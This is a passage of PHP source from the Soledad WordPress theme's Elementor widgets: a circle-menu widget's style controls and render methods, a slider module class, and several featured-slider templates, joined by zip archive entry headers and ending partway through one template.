			'toggle_icon_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;',
				],
			]
		);

		$this->add_responsive_control(
			'toggle_icon_padding',
			[
				'label'     => esc_html__( 'Padding', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti' => 'padding: {{TOP}}px {{RIGHT}}px {{BOTTOM}}px {{LEFT}}px;',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'toggle_icon_shadow',
				'selector' => '{{WRAPPER}} .penci-circle-menu li.penci-cmenuti',
			]
		);

		$this->add_responsive_control(
			'toggle_icon_size',
			[
				'label'     => esc_html__( 'Icon Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 10,
						'max' => 48,
					],
				],
				'default'   => [
					'size' => 16,
				],
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti a svg' => 'height: {{SIZE}}px; width: {{SIZE}}px;',
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti a i'   => 'font-size: {{SIZE}}px;',
				],
			]
		);

		$this->add_control(
			'transition_function',
			[
				'label'   => esc_html__( 'Transition', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'ease',
				'options' => [
					'ease'        => esc_html__( 'Ease', 'soledad' ),
					'linear'      => esc_html__( 'Linear', 'soledad' ),
					'ease-in'     => esc_html__( 'Ease-In', 'soledad' ),
					'ease-out'    => esc_html__( 'Ease-Out', 'soledad' ),
					'ease-in-out' => esc_html__( 'Ease-In-Out', 'soledad' ),
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'toggle_icon_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'toggle_icon_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti:hover'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti:hover svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'toggle_icon_hover_background',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti:hover' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'toggle_icon_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'toggle_icon_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'toggle_icon_shadow_hover',
				'label'    => esc_html__( 'Box Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-circle-menu li.penci-cmenuti:hover',
			]
		);

		$this->end_controls_tab();
		$this->end_controls_tabs();
		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_circle_menu_icon',
			[
				'label' => esc_html__( 'Circle Icon', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_circle_menu_icon_style' );

		$this->start_controls_tab(
			'tab_circle_menu_icon_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_menu_icon_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu-container .penci-cmenui a'   => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu-container .penci-cmenui svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'circle_menu_icon_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenui' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'circle_menu_icon_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-circle-menu li.penci-cmenui',
			]
		);

		$this->add_responsive_control(
			'circle_menu_icon_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenui' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'circle_menu_icon_shadow',
				'selector' => '{{WRAPPER}} .penci-circle-menu li.penci-cmenui',
			]
		);

		$this->add_responsive_control(
			'circle_menu_icon_size',
			[
				'label'     => esc_html__( 'Icon Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 0,
						'step' => 1,
						'max'  => 50,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenui' => 'font-size: {{SIZE}}px;',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'circle_menu_icon_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'circle_menu_icon_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu-container .penci-cmenui:hover a'   => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu-container .penci-cmenui:hover svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'circle_menu_icon_hover_background',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li:hover' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'circle_menu_icon_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'circle_menu_icon_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_tooltip',
			[
				'label'     => esc_html__( 'Tooltip', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'tooltip_on_trigger' => 'yes',
				],
			]
		);

		$this->add_responsive_control(
			'tooltip_width',
			[
				'label'       => esc_html__( 'Width', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'size_units'  => [
					'px',
					'em',
				],
				'range'       => [
					'px' => [
						'min' => 50,
						'max' => 500,
					],
				],
				'selectors'   => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]' => 'max-width: calc({{SIZE}}{{UNIT}} - 10px) !important;',
				],
				'render_type' => 'template',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'tooltip_typography',
				'selector' => '.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]',
			]
		);

		$this->add_control(
			'tooltip_title_color',
			[
				'label'     => esc_html__( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"] .penci-cmenu-title' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tooltip_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'tooltip_text_align',
			[
				'label'     => esc_html__( 'Text Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'default'   => 'center',
				'options'   => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'tooltip_background',
				'selector' => '.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"], .tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"] .tippy-backdrop',
			]
		);

		$this->add_control(
			'tooltip_arrow_color',
			[
				'label'     => esc_html__( 'Arrow Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"] .tippy-arrow' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_responsive_control(
			'tooltip_padding',
			[
				'label'       => esc_html__( 'Padding', 'soledad' ),
				'type'        => Controls_Manager::DIMENSIONS,
				'size_units'  => [ 'px', '%' ],
				'selectors'   => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"] .tippy-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'render_type' => 'template',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'tooltip_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]',
			]
		);

		$this->add_responsive_control(
			'tooltip_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'tooltip_box_shadow',
				'selector' => '.tippy-box[data-theme="penci-cmenu-tippy-{{ID}}"]',
			]
		);

		$this->end_controls_section();
	}

	public function render_loop_iconnav_list() {
		$settings = $this->get_settings_for_display();

		foreach ( $settings['circle_menu'] as $index => $list ) :

			$link_key = 'link_' . $index;
			if ( ! empty( $list['iconnav_link']['url'] ) ) {
				$this->add_link_attributes( $link_key, $list['iconnav_link'] );
			}

			$this->add_render_attribute( $link_key, 'class', 'penci-cmenu-position-center', true );

			if ( isset( $settings['tooltip_on_trigger'] ) && $settings['tooltip_on_trigger'] == 'yes' ) {
				$this->add_render_attribute(
					[
						$link_key => [
							'class'              => 'penci-cmenu-tippy-tooltip penci-cmenu-item',
							'data-tippy'         => '',
							'data-tippy-content' => htmlspecialchars( $list['title'], ENT_QUOTES, 'UTF-8' ),
						],
					],
					'',
					'',
					true
				);
				if ( $settings['tooltip_x_offset']['size'] or $settings['tooltip_y_offset']['size'] ) {
					$this->add_render_attribute( $link_key, 'data-tippy-offset', '[' . $settings['tooltip_x_offset']['size'] . ',' . $settings['tooltip_y_offset']['size'] . ']', true );
				}
				if ( 'yes' == $settings['tooltip_arrow'] ) {
					$this->add_render_attribute( $link_key, 'data-tippy-arrow', 'true', true );
				} else {
					$this->add_render_attribute( $link_key, 'data-tippy-arrow', 'false', true );
				}
				if ( $settings['tooltip_animation'] ) {
					$this->add_render_attribute( $link_key, 'data-tippy-animation', $settings['tooltip_animation'], true );
				}
				if ( 'yes' == $settings['tooltip_trigger'] ) {
					$this->add_render_attribute( $link_key, 'data-tippy-trigger', 'click', true );
				}
			}

			if ( ! isset( $settings['icon'] ) && ! Icons_Manager::is_migration_allowed() ) {
				// add old default
				$settings['icon'] = 'fas fa-arrow-right';
			}

			$migrated = isset( $list['__fa4_migrated']['circle_menu_icon'] );
			$is_new   = empty( $list['icon'] ) && Icons_Manager::is_migration_allowed();

			$this->add_render_attribute( 'menu-item', 'class', 'penci-cmenui elementor-repeater-item-' . esc_attr( $list['_id'] ), true );

			?>
            <li <?php $this->print_render_attribute_string( 'menu-item' ); ?>>
                <a <?php $this->print_render_attribute_string( $link_key ); ?>>
					<?php if ( $list['circle_menu_icon']['value'] ) : ?>
                        <span>

							<?php if ( $is_new || $migrated ) :
								Icons_Manager::render_icon( $list['circle_menu_icon'], [
									'aria-hidden' => 'true',
									'class'       => 'fa-fw'
								] );
							else : ?>
                                <i class="<?php echo esc_attr( $list['icon'] ); ?>" aria-hidden="true"></i>
							<?php endif; ?>

						</span>

					<?php endif; ?>
                </a>
            </li>
		<?php
		endforeach;
	}

	protected function render() {
		$settings    = $this->get_settings_for_display();
		$id          = 'penci-circle-menu-' . $this->get_id();
		$toggle_icon = ( $settings['toggle_icon'] ) ?: 'plus';

		$this->add_render_attribute(
			[
				'circle-menu-container' => [
					'id'    => [
						esc_attr( $id ),
					],
					'class' => [
						'penci-circle-menu-container',
						$settings['toggle_icon_position'] ? 'penci-cmenu-position-fixed penci-cmenu-position-' . $settings['toggle_icon_position'] : '',
					],
				],
			]
		);

		if ( 'custom' == $settings['toggle_icon'] ) {
			$this->add_render_attribute(
				[
					'toggle-icon' => [
						'href'  => [
							'javascript:void(0)',
						],
						'class' => [
							'penci-cmenu-icon',
						],
					],
				]
			);
		} else {
			$this->add_render_attribute(
				[
					'toggle-icon' => [
						'href'  => [
							'javascript:void(0)',
						],
						'class' => [
							'penci-cmenu-icon',
						],
					],
				]
			);
		}

		if ( isset( $settings['tooltip_on_trigger'] ) && ! empty( $settings['tooltip_text'] ) && $settings['tooltip_on_trigger'] == 'yes' ) {
			$this->add_render_attribute(
				[
					'toggle-icon' => [
						'class'              => 'penci-cmenu-tippy-tooltip',
						'data-tippy'         => '',
						'data-tippy-content' => htmlspecialchars( $settings['tooltip_text'], ENT_QUOTES, 'UTF-8' ),
					],
				]
			);
			if ( $settings['tooltip_x_offset']['size'] or $settings['tooltip_y_offset']['size'] ) {
				$this->add_render_attribute( 'toggle-icon', 'data-tippy-offset', '[' . $settings['tooltip_x_offset']['size'] . ',' . $settings['tooltip_y_offset']['size'] . ']', true );
			}
			if ( 'yes' == $settings['tooltip_arrow'] ) {
				$this->add_render_attribute( 'toggle-icon', 'data-tippy-arrow', 'true', true );
			} else {
				$this->add_render_attribute( 'toggle-icon', 'data-tippy-arrow', 'false', true );
			}
			if ( $settings['tooltip_animation'] ) {
				$this->add_render_attribute( 'toggle-icon', 'data-tippy-animation', $settings['tooltip_animation'], true );
			}
			if ( 'yes' == $settings['tooltip_trigger'] ) {
				$this->add_render_attribute( 'toggle-icon', 'data-tippy-trigger', 'click', true );
			}
		}

		$circle_menu_settings = wp_json_encode(
			array_filter( [
				"direction"           => $settings["direction"],
				"item_diameter"       => $settings["item_diameter"]["size"],
				"circle_radius"       => $settings["circle_radius"]["size"],
				"speed"               => $settings["speed"]["size"],
				"delay"               => $settings["delay"]["size"],
				"step_out"            => $settings["step_out"]["size"],
				"step_in"             => $settings["step_in"]["size"],
				"trigger"             => $settings["trigger"],
				"transition_function" => $settings["transition_function"],
			] )
		);

		$this->add_render_attribute( 'circle-menu-settings', 'data-settings', $circle_menu_settings );

		?>
        <div <?php $this->print_render_attribute_string( 'circle-menu-container' ); ?>>
            <ul class="penci-circle-menu" <?php $this->print_render_attribute_string( 'circle-menu-settings' ); ?>>
                <li class="penci-cmenuti">

					<?php if ( 'custom' == $settings['toggle_icon'] ) { ?>
                        <a <?php $this->print_render_attribute_string( 'toggle-icon' ); ?>>
							<?php Icons_Manager::render_icon( $settings['custom_icon'], [ 'aria-hidden' => 'true' ] ); ?>
                        </a>
					<?php } else { ?>
                        <a <?php $this->print_render_attribute_string( 'toggle-icon' ); ?>>
                            <i class="fas fa-<?php echo esc_attr( $toggle_icon ); ?>" aria-hidden="true"></i>
                        </a>
					<?php } ?>

                </li>
				<?php $this->render_loop_iconnav_list(); ?>
            </ul>
        </div>
		<?php
	}
}PK     N\S+  +  7  inc/elementor/modules/penci-featured-sliders/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFeaturedSliders;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-featured-sliders';
	}

	public function get_widgets() {
		return array( 'PenciFeaturedSliders' );
	}
}
PK     N\>    A  inc/elementor/modules/penci-featured-sliders/widgets/style-20.phpnu [        <?php
/**
 * Template part for Slider Style 20
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$sizep = 'small';
				if ( $i % 5 == 1 || $i % 5 == 2 ): $thumb = $bpost_thumb_size;
					$sizep                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( ( $i % 5 == 1 || $i % 5 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 1 || $i % 5 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\՘Y    A  inc/elementor/modules/penci-featured-sliders/widgets/style-10.phpnu [        <?php
/**
 * Template part for Slider Style 10
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_size_m = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_size_m : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\E4  4  @  inc/elementor/modules/penci-featured-sliders/widgets/style-2.phpnu [        <?php
/**
 * Template part for Slider Style 2
 */

$post_thumb_size  = $post_thumb_size ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content">
                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                        <div class="featured-slider-overlay"></div>
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a href="<?php the_permalink() ?>"
